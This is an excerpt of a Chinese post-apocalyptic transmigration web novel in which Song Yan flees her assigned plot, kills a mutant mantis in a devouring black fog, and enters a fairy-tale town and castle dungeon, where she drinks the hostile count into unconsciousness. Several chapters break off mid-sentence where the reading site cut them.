《人在废土,刚炸副本》 1. 穿越 《人在废土,刚炸副本》全本免费阅读 001 * 下午三点,灼烫的阳光在开裂的大地上掀起一阵阵热浪,一辆长途客车磕磕绊绊地行驶在公路上,时不时掉下几个螺丝钉,仿佛下一刻就要寿终正寝。 车厢内的乘客仿佛被腌在一个咸菜坛子里,交换彼此喷出的废气,神情倦怠,时不时被突然的刹车摔一个屁股墩儿。但是也怨不得什么,这年头,能在野外搭上一辆客车已经是相当幸运了。 最后一排靠窗的位置坐着一个年轻女孩,眉眼轮廓深邃,眼皮半耷拉在眼睑上,浓密的睫毛尾端微微翘起,像一层厚重的帘子,遮挡住外界的光线和窥探的目光。 [您离帝都已达50千米......] [您离帝都已达55千米......请您即刻返程。] 宋言烦不胜烦,当即按下静音键。 她是三天前穿越到这个世界的,穿越前还在喝着浓咖啡熬夜赶策划案,高浓度的咖啡因使她心脏狂跳,精神亢奋地熬到凌晨三点多。 就在她终于干完工作,拖着沉重的身体按下关机键的时候,突然眼前一黑,紧接着是重物坠地的声响。 再一睁眼,就来到了这个世界。 宋言在上学时也读过不少穿越小说,所以对于自己疑似在猝死后穿越到一本小说里,还绑定了一个系统的事情接受良好,甚至平静地听系统说完了这本小说的设定。 原主和宋言同名,是一个没落贵族的女儿,年幼时因为一些奇遇被男主救下,从此一直暗恋男主。 但是男主显然不知道女主是哪根葱,男主喜欢女配,从此,原主,男主还有女配三个人开启了长达一百多万字的虐恋情深。 简单来说,就是她爱他爱她。 宋言简略地扫了一眼剧情,系统便开始发布任务。 系统:宿主的任务是改变原主的命运,第一个剧情点将在五天后开启,任务内容将会在任务前一天发布,剧情点错过将无法回溯。 宋言微笑道:“你知道我上辈子是怎么死的吗?” 系统:你怎么死的? 宋言:“被996的福报报死的!” 系统:...... 宋言:“我死后明白了一件事,给别人打工是没有前途的。” 她看了一眼系统弹出的任务提示,自动将其换算成一张洒满葱花的大饼。 ......系统没完全听懂宋言的话,但是它直觉这女的有点叛逆。 它语重心长地给宋言做了一番思想教育,暗示她如果完成任务有多少好处。 宋言笑眯眯地听完了系统的话,表示自己会好好干的。 然后转头就收拾包裹离开帝都,几经周转,现在坐在这辆客车上。 笑话,现在不跑路何时跑路,难不成指望她去和那个毛都没长齐的男主演英雄救美,暗恋成真? 上辈子宋言迫于生活成日被困在灰暗的格子间,起得比鸡早,睡得比狗晚。拿着付完房租就所剩无几的工资,还要笑着对老板的pua和大饼点头哈腰。 现在人都死了一遭,难道还要给自己脖子上套上一根新的绳子继续推磨吗? 对了,她猝死的时候家里没人,不知道自己的尸体几天才会被发现,会不会吓到隔壁那个经常给自己送甜品的姑娘。 午后的阳光为宋言白皙的脸庞镀上一层金边,一阵微风拂过她的脸庞,吹起几缕发丝,被她顺手捋到耳后。 她借着窗外的阳光展开了卫衣口袋里的地图,手指停在了一个城市的图标上,这是她此行的目的地。 宋言重新叠好地图,长吁出一口气,闭目享受窗外的阳光。 她想,新世界,我来了。 * 宋言是被杂乱的说话声吵醒的。 太阳像个油汪汪的咸鸭蛋黄挂在西边,天色昏暗,客车在司机连踩好几下刹车后终于摇摇晃晃地停下来。 车门打开,一个带着鸭舌帽的黄毛青年一只脚踏上车门台阶,一只手拎着蛇皮袋子,在车门口同司机交涉。 宋言环顾车内,除了已经睡着的乘客,其他人都警惕地盯着车门口的青年。 很容易理解他们的警惕,大灾变以后,安全区只剩下东南和中部地区,其他地区要么沦为辐射区,要么是三不管地带。 在野外,很多野生异能者和流民就依靠打劫过路的车辆为生。 这个拦停车辆的黄毛,不知道是二者中哪一个。 离宋言最近的是一对男女,坐在宋言左前方的双人座上。 女人眼睛一眨不眨盯着黄毛,男人却望向窗外,对车内发生什么毫不关心。 让宋言注意到他们的是女人的耳钉。 那是一个银色的六芒星,在阳光下闪着炫目的光泽。 之前系统给宋言的培训资料里有一份是关于各势力标识的,有一个组织的标志正好是六芒星。 ——帝都军部,安全区最强大的武装组织。 军部的人怎么会在一辆快要报废的客车上? 宋言心中一凛。 * 宋言的思绪被客车内的说话声拉回来。 她戴上帽子,拉高领口,不动声色地观察着和司机交谈的黄毛,右手伸进卫衣口袋,在匕首刀柄上摩挲。 她读大学的时候,有个富婆舍友买了女子格斗的私教课,后来舍友没时间上课,干脆转手送她了。 宋言一向不错过任何对自己有利的机会,每节课都扎扎实实上了,练了快一年后,能徒手撂倒一个成年男性。 可惜她才穿越来这里几天,身体还没形成肌肉记忆,但是上辈子成千上万次的训练留下的神经反射没有忘。 她在思考如果有必要动手,怎样能一刀致命。 宋言没等到机会动手。 因为这个黄毛青年在和司机交谈一阵后就拎着蛇皮袋子上了车,在宋言前面的位置坐下。 他不是劫匪——这个认知让宋言松了一口气,虽然明白在这个世界这是迟早的事,但她还没做好杀人的准备。 在这个男人落座的一瞬间,宋言左腕的表顶端亮起了黄光 这个表兼具手表和辐射值检测表的功能,宋言在收拾行李的时候,发现家里有这么一块表,就顺便带上了。 发出黄光意味着附近有超过四级警戒标准的畸变种。 畸变种,在大众认知里有一个更通俗的叫法——“怪物”。 上个世纪,第一个辐射区在海上出现,人类科学家为它取名“克拉肯”。 “克拉肯”的出现仿佛按下了灾难的按钮,在此后几年内,海底的怪物爬上陆地,甚至连陆地上原本的生物也发生种种异变。 研究院的人向上级提交了一份书面报告,报告里将这些从海上爬上来的怪物命名为畸变种,至于形成的原因,被归结为沿海的岛国往海里排放核废水。 这份报告被上面冷酷地批回去。 上面要的不是学术研究,而是解决方案! 于是这帮研究员又开始哼哧哼哧地撰写可行性方案,他们研究了很久,最终得出结论。 ——没救了!大家一起完蛋吧! 开玩笑,畸变种并不是绝症,研究院的人在系统研究畸变种之后,发现这些怪物并不是杀不死,甚至它们的某些部位还可以作为珍稀材料。 而杀死畸变种的 2. 黑雾 《人在废土,刚炸副本》全本免费阅读 002 * 宋言从座位上站起来,充满戒备地环视周遭环境。 就在刚才,天黑下来的一瞬间,她前座怪异的青年,连同一整座车的乘客,突然消失了。 灰黑色的雾气涌入客车,像是一堵密不透风的墙,从四面八方封死宋言的退路。 宋言突然明白刚才不是天突然黑了,是整座客车撞入了这片黑雾。 或者说,是这片诡异的黑雾捕食了客车。 [恭喜你点亮了第一个畸变种图鉴。] [这片雾气叫“黑雾”,这是人类研究者给它取的名字。接下来我说的话你要认真听,毕竟这关系到一个星期后是不是你的头七。] [“黑雾”的特性是“凡它所食,必归它有”。就是说在这里你会遇到它曾经吞食的畸变种,至于遇到什么等级的畸变种,就看你太奶奶在地下人脉怎么样了。] [不同的畸变种弱点不尽相同,但是低级畸变种从头部下手总是没错的,他们还没有摆脱人类的弱点。] [你很幸运,这片黑雾在这个辐射区外缘已经盘桓几个月了。但还是被域主挡在外面,已经几个月没有进食了。] [现在的它很虚弱,也......很饥饿。是你吃它还是它吃你,就各凭本事了。] 系统的声音在完成“新手引导”的内容后彻底消失了,不管宋言之后怎么踢它,都没有反应。 宋言尝试用匕首柄砸开车窗,砸上去的触感却像是刀柄撞上了什么柔软湿润的肉壁。 黑雾缓慢地从四周向宋言包围过来,地面上缓慢积起暗红色的不明液体。 起初是浅浅一层,后面越来越多,已经快要漫过宋言裤脚。 不知何时起,宋言已经不在客车里了。她脚下的地面是一层滑腻的肉膜,地上的红色液体将裤脚腐蚀一圈,鞋因为是特制的,暂时安然无恙。 但是宋言怀疑,不等所谓的畸变种出来,她就会被“黑雾”消化干净。 这里就像一个巨大的,怪物的胃。 宋言左腕上的表从黑雾出现起就亮着的黄灯,在此刻突然变成了红黄交替的灯光。 在同一时刻,宋言听到右后方传来节肢类动物的振翼声。 下一秒,一滴冰凉的液体滚入宋言的脖颈。 宋言下意识侧闪,右手紧握着匕首往怪物来处猛地一推,卷出一个银色的刀花,刀刃锋利,将怪物的前肢削下一大半,只剩一层薄薄的外壳连接它的前肢和镰刀。 那是一只近一人高的竹节螳螂,通体碧绿,头部两侧的复眼装满了金黄色的瞳孔。 现在那些密密麻麻的瞳孔正因为刚被宋言削下一臂而充血。 它的口器上下张合,露出里面交错的尖齿,镰刀像两把大型电锯,被宋言削下的那只,锯齿缝里还卡着一缕长发和白色的头皮组织物。 鲜红的血液顺着脸颊流下,但是宋言已经没空去管头皮上的余痛。 她和这只螳螂,只能有一个活着。 冰冷的电子音响起。 [你运气还算不错,这只螳螂还在发育期,虽然攻击力很强,但是它的壳还没完全长好。] [但是你也很弱,所以你们就像鸡蛋撞鸡蛋,看谁先把谁撞破。] 系统提示音进行到一半,螳螂就震动覆翼向宋言飞来,它张开狰狞的口器,举着镰刀以迅雷不及掩耳之势向宋言甩来。 宋言下意识弯腰躲过,在和螳螂接触的那一瞬间,右手握着匕首捅进了螳螂的复眼,然后手腕旋转用力,将螳螂的头部捅了个对穿。 同时她腰侧一凉,她的腰侧被镰刀割开了一个巨大的伤口,血液从中喷薄而出。 螳螂的躯体“哐当”一声倒在地上,地上的血水卷出一个漩涡,慢慢将螳螂吞没。 宋言终于后知后觉地感受到身体的疼痛,差点脱力倒在地上。 如果宋言晚一秒杀死这只螳螂,那么现在变成两截躺在地上的人就是她了。 这个地方就像斗兽场,将被猎食者和怪物放在一个蛊中厮杀,失败者成为黑雾的养分。 宋言仍旧绷紧了身躯,右手紧握着匕首,银白色的刀刃上还粘连着墨绿色的血液。 如果再来一个怪物,她不确定自己现在的状况能一击必杀。 但是这次上天眷顾了宋言,螳螂死后,地上的血水慢慢消退,灰黑色的雾气渐渐变薄,它的狩猎结束了。 * 王虎觉得自己的运势堪称邪门,跑一条常年安全系数高达百分之七十的线路还会碰上辐射区。 作为客车司机,他在见到黑雾的那一刻就明白,自己祖坟可能被人烧了。 “黑雾”是畸变种里有名的“鬣狗”,一般出现在辐射区边缘,在辐射区原本的域主将猎物大头吃完后,辐射区开放,黑雾才会涌进去猎食剩下的残渣。 所以如果看见某个区域有黑雾盘桓,最明智的选择是远离,黑雾无法强行进入辐射区,但是不会拒绝送上门的外卖。 王虎南来北往跑客运多年,最开始跟着师父跑的时候,有一次远远地看见了黑雾,师父慌忙调转方向盘远离那片区域,宁愿绕更远的路,也不愿意按原本路线走。 王虎那时候还年轻,甚至觉醒了异能,虽然等级低,但是不妨碍他认为自己是个天不怕地不怕的英雄,总有一天要做出一番大事来。 他问出了自己的疑惑,师父只是语重心长地告诉他,“你没见过辐射区是什么样子,要是你见过,以后都恨不得有多远跑多远。” 后来王虎真的遭遇了一次辐射区,一车人都死在里面,自己靠着一点异能,又断了左腿,才撑着等到救援,才明白师父那句话里有多少心酸。 所以在陷入黑雾的时候,他几乎以为自己就要死在这里了。 他的身体不比几十年前,力量,敏捷,速度都在几十年的风霜雨打中退化,那一点异能也是样子货,没道理能躲过畸变种的猎食。 但是他还有个八岁的女儿在等他回家。 他拼了命同黑雾里的畸变种厮打,幸好遇到的不是很危险的畸变种,最终他以力量系天赋扭断了畸变种的脖子,逃出了黑雾。 黑雾之外是一片绚烂的灯光,像是游乐园里的旋转木马的彩灯,五颜六色的迪斯科球缠绕成一串串灯帘,散发出五彩的灯光。 离王虎最近的一栋房子是积木搭成的,翠绿的藤蔓缠绕在墙壁上,房顶上是一架无风自动的小风车。 房子前方有一扇铁艺大门,门栓上挂着一个木牌,上面东倒西歪地写着“童话镇”三个字。 在童话镇门口的人并不多,王虎左右看去,只看到了远处拖着一个蛇皮袋子的青年,一对在处理伤口的男女,还有离自己稍微近一点,正在......处理怪物尸体的年轻女人? 王虎悚地一惊,他定睛一看,才发现自己并没有看错。 那个女子背对着他坐在灯光下,背部挡住了自己的动作,但是那东西实在太大,一半裸露出来,他能隐约看到那是一对镰刀,本应长在怪物的前肢上。 镰刀?镰刀螳螂?那个在常见畸变种排行榜上排名前十的镰刀螳螂? 王虎倒吸一口凉气,回忆起安全区常发的畸变种科普宣传册。其中有一条专门介绍镰刀螳螂: [镰刀螳螂,中危畸变种,在常见畸变种排行榜中排名第五。多栖息于田野草地、山林灌丛中,力量极大,速度极快。发现该畸变种踪迹请立刻报告异能管理局!] 大家刚才都是从黑雾里出来,就是说,这个女人在黑雾里遇到的是镰刀螳螂,还把人家当经验包舔了? 王虎瞠目结舌,他这次,不会遇上什么隐藏大佬了吧? * 宋言对王虎丰富的内心活动一无所知,她正在忙着探索系统刚解锁的新功能。 她刚才杀死镰刀螳螂的时候,系统音又在脑子里响起。 [是否将材料[镰刀螳螂]装入背包] ?宋言一愣,按F键拾取吗?你们穿书系统玩这么花? 宋言选择了“是”。 霎那间,一具一人高的螳螂尸体就原地消失,装进了宋言的背包。 “背包”和宋言以前玩过的游戏里的系统背包很像,宋言闭上眼,一整块泛着银蓝光晕的电子屏幕就出现在眼前。 屏幕分为四个模块,其中“背包”和“天赋”一栏泛着蓝光,表示可以使用,其他两个区域都是灰色,模块名字像是旧电视屏幕上灰 3. 童话镇1 《人在废土,刚炸副本》全本免费阅读 003 * 宋言用自带的绷带处理完伤口后,将镰刀螳螂的一对镰刀取出来,绑在捡来的粗树枝上。 然后她用匕首将树枝外面的一层树皮削掉,再拿绷带一圈圈扎好,就自制出来了两把长刀。 虽然长刀的刀身部分有些不伦不类,但好歹能用。 她刚将其中一把收入背包,背后就传来了一阵沉重的脚步声。 谁? 宋言转过头去,离她尚有几步的王虎顿时被吓了一跳。 面前女人的半边脸全是血,干涸的血液粘结着头发凝固成红褐色,在红色的灯光下,宛如地狱修罗。 王虎失态一瞬,马上勉强镇定下来,想起此行的目的。 他小心道:“......大佬,您看这个辐射区,该怎么出去?” 没等宋言说话,他立刻表现诚意,紧接着说:“或者有什么用得着我的地方?我是力量系天赋,虽然等级低,但是清清小怪没问题,您有什么用得着我的地方尽管提。” 王虎想得清楚,以他的实力,在这个辐射区里单打独斗肯定是死路一条,想增加存活的几率,不如就在辐射区门口,趁着大家还记得一点同车之谊的时候找人结盟。 他观察过了,现在存活的人只有不远处一对男女,那个黄发青年,以及刚刚逃离黑雾的三个气喘吁吁的男人。 那对男女明显是一对,那个黄发青年在他看向他的第一眼就察觉了他的窥视,警告地扫了他一眼,他只好悻悻收回眼。 那么盟友人选就只剩下那三个男人,和那个疑似单杀了镰刀螳螂的年轻女人。 王虎很快做出了选择,看上去武力值强悍的女人显然是更好的结盟对象。 宋言沉默地看着王虎,好一阵没有说话。 就是,大哥,有没有一种可能,你以为的大佬,其实是第一次进辐射区的萌新。 但是没必要戳破这一点,有一个看上去靠谱的小弟对她有利无害。 宋言微微点头,算是默认了王虎的“投靠”。 在那三个男人逃出黑雾后不久,一个半身是血的姑娘也从黑雾中踉跄走出来,之后,就再没有新的幸存者出现。 一阵风吹过铁艺大门,发出“吱嘎”的响声。缠绕在积木墙壁上的藤蔓随风而动,在夜色下好像活了过来。 王虎背上不禁起了一阵鸡皮疙瘩。 他忍不住打破这种诡异的氛围,问道:“大佬,我们接下来怎么办?” “进去。”宋言惜字如金,很符合人设地甩下两个字后径直走向铁门。 “哐当”一下,她用刚出炉的螳螂牌镰刀......不,是长刀推开了大门。 铁门上挂着的门牌随着这一下声响坠地,化为齑粉。 铁门内的场景同外面的截然不同,宋言脚下的中央大道笔直平整,通向镇子深处。道路两旁是积木搭成的各种房子,房子外围被翠绿色的藤蔓缠绕,叶片缝隙里开出淡粉色的小花,散发出馥郁的香气。 房子门口是被精心修剪的草地,两三只雪白的兔子在斯斯文文地啃食草叶。 向远处望去,道路消失的尽头通往一座幽深的城堡,高耸的城墙被荆棘缠绕,城堡的尖塔似乎要刺破天空,在冷白色的月光下被勾勒出森冷的轮廓。 装在门后的喇叭发出沙沙声:“远道而来的客人们,我谨代表艾德安伯爵欢迎你们的到来,请在童话镇稍候片刻,伯爵府的马车马上会来接诸位。” 随着喇叭声音的响起,童话镇的房子里逐渐出现居民的身影。离宋言最近的白色别墅二楼窗户里出现了一个小女孩的面容。 小女孩趴在窗子上,好奇地看着镇子上陌生的面孔。马上她的妈妈就走了过来,干脆利落地拉下窗帘,隔绝了小女孩的视线。 右前方一家旅馆的老板娘将店里的水晶灯一盏盏熄灭,然后双手拉上两边的门扇,却在合上的时候被一只脚卡住了。 那个一直缀在一群人后面的黄发青年不知何时闪现到旅馆里,吊儿郎当地用一只脚卡住旅店的门,挑眉望着被他的无耻行径气到说不出话的老板娘。 “老板娘,借贵地歇一晚呗。”他叼着一根不知道从哪扯来的草根,颇无赖地说出这句话。 宋言觉得有点好笑,但随之而来的是疑惑。 童话镇的居民不欢迎他们......但是伯爵府的管家要来迎接他们,二者的态度截然不同...... 二者之间有什么关联吗? 宋言没来得及细想,耳边便有一阵马蹄声传来。 管家穿着一身燕尾服,从马车上走下来。 “伯爵非常期待诸位客人的到来,特意派在下来迎接诸位。毕竟......伯爵府已经很久没有来过这么多新客人了。” 管家说到这里,金丝眼镜后的眼睛透出蛇类特有的阴冷,他行了个绅士礼,所有人手里凭空出现了一封鎏金的邀请函。 管家慢条斯理地行完这个礼,接着说:“艾德安伯爵将在五日后和世界上最美丽的女孩成婚,届时伯爵府将迎来五百年来第 4. 童话镇2 《人在废土,刚炸副本》全本免费阅读 004 * 伯爵府坐落在山林深处,高大的古代城堡在树木掩映中显得愈发森冷。 来到古堡后,管家不再像在童话镇上那么殷勤,阴沉着脸下了车,撇下这堆“客人”径直走进古堡。 都到家门口了,没什么装的必要。 管家走后,气氛明显轻松了一些。 那个先前出头的女人率先自我介绍道:“方可,我的名字。旁边这个是我的搭档,殷越。” 从一开始就和她形影不离的男人微微颔首。 然后她接着说道:“想必各位也能看出来现在的状况,我们都被困在这个辐射区里面,但是辐射区并不是有进无出的。” “我和殷越是异能管理局的人,都是异能者,过了大大小小几十个辐射区了。” 异能管理局是大灾变最开始就设立的异能者管理机构,后来逐渐在各个安全区发展了分部,管理当地异能者,附近的辐射区也只有他们有能力处理。 久而久之,异能管理局也就成了专门处理辐射区相关事务的机构。 方可一番话,无疑大大增强了自己的可信度。 “这次我们就是为了解决这个辐射区来的,请误入的各位不要惊慌,尽量配合我们的工作。” “辐射区分为两种,一种是纯粹的混乱区域,不同的畸变种在里面厮杀猎食。但是里面一旦有一个畸变种取得极大优势,它就会将整个辐射区变成自己的‘领域’,产生相应的规则。” “只要大家接下来谨慎些,不触发死亡条件,积极寻找线索,是能尽早离开这个辐射区的。” 方可的话对这群人来说宛如定海神针,一下子安抚住了先前还焦躁不安的人群。比较晚出黑雾的那三个男人和年轻姑娘都不自觉靠近她。 宋言眉头微皱。 方可的耳钉暴露了她是军部的人的事实。 这时候她又为什么要隐瞒自己的身份,说自己是异能管理局的人? 隐瞒身份,总是和嫁祸或者遁逃之类的词挂钩。 她打算做什么,以至于要隐瞒身份? 宋言心中对方可升起浓重的怀疑。 等到方可带着一群人进入了城堡,宋言才抬头,打量起整座城堡。 在远处看只觉得这座古代城堡高大森冷,真正在城堡近处才能感受到它的雄浑威严。 宋言几乎要后退好几十米才能看清这座建筑物的顶部,塔楼楼顶的旗杆竖起代表身份和地位的旗帜,在高空中飘扬。 整座城堡的风格是哥特式的诡谲,暗紫色花岗岩圆柱上的浮雕已经被磨损得看不清楚,经年累月沉淀下来历史的厚重。 一阵风吹过,卷着一团废纸吹到宋言脚下。 宋言将纸张展平,映入眼帘的是一条加黑粗体的新闻标题。 [喜报!国宝级魔术师莱尔将于下周三应邀来我镇演出,敬请期待!] 标题下面紧跟着魔术师莱尔的黑白照片,照片上的男人面容英俊,戴着一顶黑色礼帽,正站在舞台上朝观众微笑。 他的微笑有一种神奇的魔力,让看到的人也不禁跟着一起笑出来,觉得照片上的人真美丽,好想永远成为他的观众,或者就成为他帽子里的一只白鸽,能从他手里飞出去也好...... 宋言强迫自己将视线移开,这时,她的脑海里响起系统的提示音。 [天赋[毒蘑菇]生效中,4小时内提升对毒素,精神污染的抗性,冷却时间24小时。] 没想到看一张废纸也能中招...... 宋言将纸张叠好,放进自己的黑色双肩包中,决定先进入城堡。 王虎跟在宋言后面,小声问道:“大佬,我们也要跟着方可他们吗?” 宋言思考片刻,说:“你先跟着他们,然后我们再交换情报。” 她停顿一下,补充道:“尽量不要吃辐射区的东西和水,时刻检查自己的精神状态。” * 宋言进入宴会厅的时候,中央的长桌上已经摆上了精美的菜肴。管家正端着红酒瓶给就座的每一位客人倒酒。 长桌的最前面,主座上坐着一个脸色苍白,衣着考究的男人。 “看来我的最后一位客人也到了。” 他银灰色的眼睛平静地看向宋言,仿佛那是一个死物,身后没有被水晶灯照到的地方潜伏着大片黑影。 长桌上靠后的位置已经被方可一行人占完了,只有伯爵身边的位置还空着。 伯爵抬手:“让这位客人坐到我身边来。” “坐下吧,不要惹恼他们。”方可小声提醒。 宋言走上前,依从管家的指引在伯爵身旁坐下,王虎跟着管家在对面小心翼翼地坐下。 “迟到的客人总该有些惩罚。”伯爵阴沉沉地看着宋言。离伯爵这么近的距离,宋言才发现这个人颧骨凹陷,眼珠布满红血丝,看着比那个一秒变脸的管家更不正常。 听懂了伯爵的言外之意,宋言很干脆地自罚一杯酒。 她想看看,这个天赋[毒蘑菇]到底能抗毒到什么地步。 她偷偷调开面板 [天赋[毒蘑菇]:累积毒性(1/100)] ?才百分之一?那岂不是她连着和伯爵拼99杯酒都不会倒? 宋言豁然开朗。 她端起空酒杯,指挥管家再次满上,笑容满面地对伯爵说:“实在对不住,有点事来晚了。您看我们再喝一杯,杯酒释恩仇?” 说完她一饮而尽,另一只手按着伯爵的手,半逼迫着伯爵也将一杯酒喝下。 “第二杯,敬我们多年难叙的友谊!” 宋言自行为自己和伯爵满上第二杯酒,趁着伯爵还没反应过来,再次给伯爵灌了下去。 “第三杯,敬我们今日在古堡相逢!” < 5. 童话镇3 《人在废土,刚炸副本》全本免费阅读 005 * 一顿饭因为伯爵的昏倒戛然而止。 众人震惊地看着口吐白沫,不省人事的伯爵,人已经倒在地上,仍身残志坚地伸出尔康手指向宋言。 宋言神情担忧地上前,握住伯爵的手,演技如同将十几部苦情剧盘到包浆。 “伯爵先生,您还有什么未了的心愿吗……” “咯咯…咳咳……”伯爵想说话,但是嗓子被他刚呕出的呕吐物呛到,又晕了过去。 宋言神情更加真挚,一滴泪从她脸上滚落下来。 桌子底下,她搀着伯爵的手暗暗用力,将伯爵的脑袋又往地上狠狠撞了一下。 “伯爵先生!您怎么又昏过去了,难道我们今日注定要白发人送黑发人吗……” 宋言呜呜咽咽地哭起来,抓着伯爵的身子上下摇晃,伯爵的后脑勺在地上一颠一颠,像一颗找不到球拍的大号乒乓球。 最后管家终于看不下去了,保持得体的礼仪,上前从宋言的手中接过伯爵。 他微笑道:“照顾主人是在下应尽的职责,不敢麻烦客人。” 宋言偷偷瞄了一眼伯爵的后脑勺,发现上面已经磕出了一个大包。 很好,看来今晚都醒不过来了。 主人都已经因伤退役,这顿饭也没有吃下去的必要了。 众人心有余悸地看着长桌上琳琅满目的食物,不禁暗松一口气。 迫于压力吃一口就算了,谁也不敢多吃。 毕竟谁知道这些食物有没有毒,是不是用什么恶心的东西做的。 这段插曲过后,人们都没心思继续用餐,逐个被管家带去自己的客房。 古堡共有三层,主人艾德安伯爵住在最顶层。 其他人被安排在第二层,管家给了他们每人一把钥匙,用来打开各自房间的门。 管家将宋言带到她的房间门口,琥珀色的眼睛在镜片后流转出晦暗的光泽。 “你很有本事。”他审视着眼前的女孩,“年轻,有野心,行事果决。” 下一秒,他意有所指:“伯爵年纪大了,城堡需要一位女主人为它注入新的活力。” 说完,管家没有停留,径直下了楼。 时候不早,各人纷纷将房门关上,城堡里静得听不见一丝声音。 过了几分钟,宋言听到门外传来咚咚的敲门声。 她打开门,门口站着方可。 “房间里的油画有问题。”方可直奔主题。 “我的信使对危险很敏锐,在我进入房间的时候,它不停地冲着房间里的油画叫。”方可道。 一只浑身雪白,只有尾尖有一簇灰毛的小老鼠从方可口袋里探出头来,好奇地望着宋言。 “之后我去其他人房里也看了下,每个人房里都挂着油画,你房里应该也有。” 她将一个香囊递给宋言,说道:“将这个香囊放在枕头底下,可以保护你不被油画干扰。” 她当然不是来白送道具的,表现完诚意后,她说出了此行的目的。 “我们刚才吃的东西有问题?” 方可知道辐射区的东西多少有毒,但是刚才那种情况下,没办法躲过去。她看宋言一口气干了几瓶酒,觉得她应该有解毒的道具。 这就是在隐晦地向宋言要解毒剂了。 宋言想起系统提示的百分之一的毒性,诚实道:“有毒,但你们吃的剂量问题不大。” 方可追问:“那伯爵为什么……” 宋言道:“我给他加了点料。” 看着方可震撼的表情,她补充道:“亿点点。” 真的,她只是滴了一滴血,谁知道那老登这么菜,这就被药倒了。 等到方可整理好表情离开,宋言才重新关上门。 虽然她怀疑方可,但是方可没必要拿一个假情报骗她,这种消息一试就能试出真假。 她环视自己的房间布局。 房间中央摆放着一张双人床,墙壁上贴着深蓝色的壁纸,自带卫浴。 双人床的上方悬挂着一幅大尺寸油画,上面画着一条人鱼。 那条人鱼的上半身被海藻般的红色长发掩盖,脸颊边的发丝被捋到耳后,露出小鹿般纯净美好的眼睛,莹润的皮肤熠熠生辉。宝石蓝的大尾巴甩起一串串水珠,透明的尾巴尖上挂着一串钻石项链,反射出彩色的光晕。 宋言几乎闻到了海水的咸腥味。 她向油画挪了一步。 就在这时,刚才方可交给她的香囊微微发烫,几乎要灼伤她的手心,她才醒悟过来,猛地停住脚步。 这幅油画给宋言的感觉和之前在城堡门口捡到的那张纸很像,只要你看到它,就会不自觉被它蛊惑。 方可给她的这个道具确实有用,刚才如果不是这个香囊发热,她可能就直接和那幅画亲密接触了。 但是...... 她现在还对这个副本的【锚】没有半点头绪,目前也只获得了[童话镇上曾经来过一个很有名的魔术师]这一条线索。 而且她本来以为这个副本的boss是伯爵,但是从今晚的情况来看,伯爵的实力并不像他表现出来的那么强,还在被城堡的规则制约,甚至管家隐隐有想要取代伯爵的意思。 宋言定定地看着手中的香囊,半晌,终于下定决心。 舍不着孩子套不着狼! 她将香囊收进背包里,主动朝油画走去。 一步,两步,三步...... 宋言的嘴唇几乎要挨到油画的画布上,也只是鼻尖闻到了些许油墨味。 油画上的小美人鱼也不复最初看到的时候那般活泼灵动,仿佛下一秒就要用那条硕大的鱼尾将宋言卷入幽深的海底。 现在的小美人鱼,只是被颜料定格在画布上的剪影而已。 不是吧,你们灵异物品上班还有时间限制的? 996的风还没有吹到辐射区? 加班是福报啊知不知道! 宋言的恼火几乎要肉眼可见地冒出火花来。 任谁做好心理准备,打算迎接突然冒出来的怪物或者直接被拖入画中,但是,扮演怪物的工作人员突然脱下玩偶外套,和你说对不起我们下班了,就很想打人。 宋言不信邪,将油画拆下来,左翻右找了一通,甚至将画框都仔仔细细地检查了一遍,仍然没有发现有用的线索。 甚至在她将油画挂回原位时,油画里原本的小美人鱼都不见了,画框里只剩下一片静谧的深蓝色海面。 ......你有本事游回老家你有本事出来啊! 在房间里一通折腾,宋言先前一口气喝下几瓶酒的酒劲上来了。她仿佛看到几个小人在眼前跳舞,干脆往后一倒瘫在床上,天花板上的水晶吊灯在她眼前晃来晃去。 ......更晕了。 迟来的酒意让宋言上下眼皮直打架,她干脆就着这个姿势,闭上眼睛睡觉。 管他呢,早点睡又不会死人。 这一夜宋言睡得并不安生。 童话镇上居民古怪的神情,新闻上魔术师蛊惑的笑容,饭桌上伯爵阴沉的脸,这些影像被梦境扭曲,像3D立体声一样环绕着她,在她脑海里挤来挤去。 宋言看到自己坐在电影院里,无语地看着荧幕上每过三分钟就会换一张脸,几个人争夺她的观影权争得面红耳赤。 ......神金。 这场多人电影她没能看多久,伴随一声重物坠地的声响,离宋言不远的一个房间里传来男人的尖叫声。 但是显然他很快就意识到了自己行为的不妥,硬生生把尖叫的后半截压在了喉咙里。 紧接着传来猛烈的开门声,门板被他重重地摔出去,脚步踉跄地夺路而逃。 他逃到走廊上,几乎是他喊出“救命啊,有没有人——”的一瞬间,所有房门都“咔擦咔擦”地上了锁。 ...... 男人的后半截话还在嘴边,不知道该吐出来还是咽下去。 就在这时,一扇门打开了,房间内明亮的灯光透出来,头发松散的宋言此时在男人眼里就像神话里的天 6. 童话镇4(小修) 《人在废土,刚炸副本》全本免费阅读 006 * 夜晚,童话镇。 一轮圆月悬挂在空中,银白色月光透过纱窗照进某户民居,如水般流淌。 独栋小洋房的窗台上,放着一本羊皮纸装订的厚抄本。 羊皮纸浮在空中,仿佛有一只无形的手在一页页翻阅它,一道温柔的女声响起。 “不睡觉的坏孩子会被狼叼走的哦。” “啊,不喜欢白雪公主和小美人鱼的故事是吗?那我们再讲一个关于月亮的故事……” “和月亮有关的故事有很多,比如童话镇的孩子们从小听到大的‘伯爵的新娘’,再比如…姜夜白第一次杀人,就是在一个月亮很亮的夜晚。” 正在房间角落里翻箱倒柜的青年听到自己的名字,眉心一跳,手下却没停动作,将手边一个箱子倒转,里面的零碎稀里哗啦地落在地上。 姜夜白就是最开始在车上的黄毛青年,他很少用自己的真名在外行走,所以在被副本一语道破这段隐秘的时候,他不禁心中一跳。 他对自己的实力颇为自信,这次要不是因为某个重要道具落在附近,也不会来这个低级副本。 他的真名,除了几个信得过的心腹知道,其他听过的人现在都在地底下躺着,副本是怎么知道的? 女人像是被什么呛到了,低低咳嗽一声,继续讲这个故事:“姜夜白从小就是个吵闹的孩子,甚至在他出生那天,就哭了一天一夜,好像在怨怪父母将他带到这个世上。” “可是如果连他都要怨怪自己的出生,那全世界的小孩都要从自己还是个受精卵的时候就开始后悔了。” “姜夜白的父亲在帝都保卫战后就坐上了皇帝的位置,不出意外,姜夜白会是下一任皇帝。” “不过在他十二岁那年,发生了翻天覆地的变化。他父亲战死,帝国议会被几大世家把持,年幼的他被推上皇位。” “一夜之间,曾经对他和蔼可亲的叔叔伯伯露出了豺狼虎豹的爪牙,他的母亲好像忘了自己还有这么个儿子,一瓶毒药陪着孩子他爹下了黄泉。” 